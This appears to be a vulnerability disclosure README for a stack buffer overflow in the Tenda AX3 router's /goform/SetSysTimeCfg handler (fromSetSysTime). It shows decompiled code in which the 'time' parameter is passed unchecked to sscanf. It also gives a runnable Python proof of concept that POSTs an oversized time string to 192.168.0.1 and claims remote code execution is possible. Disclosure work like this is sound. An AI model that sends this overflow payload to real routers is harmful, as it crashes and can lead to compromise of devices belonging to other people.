

∃ README.md

Tenda Router AX3 Vulnerability

This vulnerability lies in the /goform/SetSysTimeCfg page which influences the lastest version of Tenda Router AX3. (V16.03.12.10 CN)

Vulnerability description

There is a stack buffer overflow vulnerability in the fromSetSysTime function.

The v9 variable is directly retrieved from the http request parameter time.

Then v9 will be splice to stack by function sscanf without any security check, which causes stack overflow.

```
LOWORD(v25) = 0;

v27 = 0;

v28 = 0;

LOWORD(v29) = 0;

v9 = websGetVar(wp, (char_t *)"time", (char_t *)&byte_794DF);

_isoc99_sscanf((int)v9, "%[^-]-%[^-]-%[^ ] %[^:]:%s", v14, v16, v18, &v20, &v23, &v27);

*(_DWORD *)&v34[20] = atoi((const char *)v14) - 1900;

*(_DWORD *)&v34[16] = atoi((const char *)v16) - 1;

*(_DWORD *)&v34[12] = atoi((const char *)v18);

*(_DWORD *)&v34[8] = atoi((const char *)&v20);

*(_DWORD *)&v34[4] = atoi((const char *)&v20);

*(_DWORD *)v34 = atoi((const char *)&v27);

v10 = mktime((struct tm *)v34);
```

So by POSTing the page /goform/SetSysTimeCfg with proper time, the attacker can easily perform a **Remote Code Execution** with carefully crafted overflow data.

POC

```
import requests
from pwn import *

url = "http://192.168.0.1/goform/SetSysTimeCfg"

timeType = "manual"

time = "2022-01-01 "
time += "a" * 1024

r = requests.post(url, data={'timeType': timeType, 'time': time})
print(r.content)
```

Timeline

• 2022.01.18 report to CVE & CNVD